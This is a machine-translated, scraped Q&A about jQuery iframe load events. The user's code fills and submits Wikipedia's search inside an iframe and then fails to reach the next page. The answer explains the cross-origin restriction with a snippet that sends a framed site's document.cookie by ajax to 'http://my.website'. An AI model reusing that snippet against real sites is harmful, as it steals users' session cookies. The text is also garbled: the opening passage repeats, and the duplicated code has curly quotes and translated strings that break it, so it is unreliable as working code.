Javascript 事件“;“加载”;在iframe上成功触发,但iframe可以';不要成为目标
我已经成功地创建了一段代码,它采用CSV数组,并通过IFRAME将文本放入Wikipedia的搜索栏,然后单击搜索按钮。不幸的是,在加载之后,我无法再以IFRAME的内容为目标。我还嵌套了两个加载事件处理程序,目的是等待每个页面完成加载 我在触发后将处理程序设置为unbind/off,这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间触发,同时更改目标ID,但不确定此时还需要尝试什么。我怀疑第二个事件处理程序在上一页触发,因为它已经触发就绪,但“附件”似乎按预期工作Javascript 事件“;“加载”;在iframe上成功触发,但iframe可以';不要成为目标,javascript,jquery,events,iframe,nested,Javascript,Jquery,Events,Iframe,Nested,我已经成功地创建了一段代码,它采用CSV数组,并通过IFRAME将文本放入Wikipedia的搜索栏,然后单击搜索按钮。不幸的是,在加载之后,我无法再以IFRAME的内容为目标。我还嵌套了两个加载事件处理程序,目的是等待每个页面完成加载 我在触发后将处理程序设置为unbind/off,这似乎可以防止触发“重复事件”。我尝试了几种策略来确定事件处理程序是否在正确的时间触发,同时更改目标ID,但不确定此时还需要尝试什么。我怀疑第二个事件处理程序在上一页触发,因为它已经触发就绪,但“附件”似乎按预期工
$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
$("#iframeTarget").unbind();
$("#iframeTarget").off();
$("#iframeTarget").attr("id","iframeTarget2");
$("#debugwindow").append("start interior of 1<br>");
$("#iframeTarget2").on("load", function() {
$("#iframeTarget2").unbind();
$("#iframeTarget2").off();
$("#iframeTarget2").attr("id","iframeTarget3");
$("#debugwindow").append("start interior of 2<br>");
$("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
$("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
// $("#iframecont").html("I ruin everything!"); // targets iframe container as test
$("#debugwindow").append("end interior of 2<br>");
});
$(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
$(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page
$("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
$(“#调试窗口”).append(“pre
”);
$(“#iframeTarget”)。在(“加载”,函数()上{
$(“#iframeTarget”).unbind();
$(“#iframeTarget”).off();
$(“iframeTarget”).attr(“id”,“iframeTarget2”);
$(“#调试窗口”).append(“开始内部1
”);
$(“#iframeTarget2”)。打开(“加载”,函数(){
$(“#iframeTarget2”).unbind();
$(“#iframeTarget2”).off();
$(“#iframeTarget2”).attr(“id”,“iframeTarget3”);
$(“#调试窗口”).append(“启动2的内部
”);
$(“#iframeTarget3”).contents().find(“#searchInput”).val(“我不工作?”);//3失败?
$(“#iframeTarget,#iframeTarget2,#iframeTarget3”).html(“即使我什么都不做!”);//失败?
//$(“#iframecont”).html(“我毁了一切!”;//将iframe容器作为测试目标
$(“#调试窗口”).append(“2的内部结束”);
});
$(this).contents().find(#searchInput”).val(“3M”);//1成功填充搜索
$(this).contents().find(#searchButton”).trigger(“click”)//2成功触发按钮,将URL更改为3M页面
$(“#调试窗口”).append(“1的内部结束”);
});
$(“#调试窗口”).append(“post
”);
寻找正确设置2个事件处理程序或我的逻辑是否错误的见解。理想情况下,我将能够填充搜索栏,触发搜索,然后在下一个加载的页面上操作DOM。这是因为浏览器中存在安全问题。您将无法在javascript iframe中执行任何脚本,因为如果您能够在远程iframe中执行javascript代码,将面临极大的风险 例如:
<iframe src="http://website.to.hack"></iframe>
$(iframe).load(() => {
$.ajax({
url: 'http://my.website',
data: iframe.document.cookie
});
});
$(iframe).load(()=>{
$.ajax({
网址:'http://my.website',
数据:iframe.document.cookie
});
});
现在我有了你在那个网站上的所有cookie。除非该框架在站点和它之间具有特定的信任关系,否则您将无法编写脚本。(您可能需要一个chrome扩展)
有关更多信息,请参阅和线程。Ah,我意识到我没有包含x-frame-bypass,这允许进行第一次操作,但实际上是在单击时加载一个新的iframe src。我将需要获取URL和重新渲染X-FrAM-Access iFrAME与新URL或考虑另一种方法。谢谢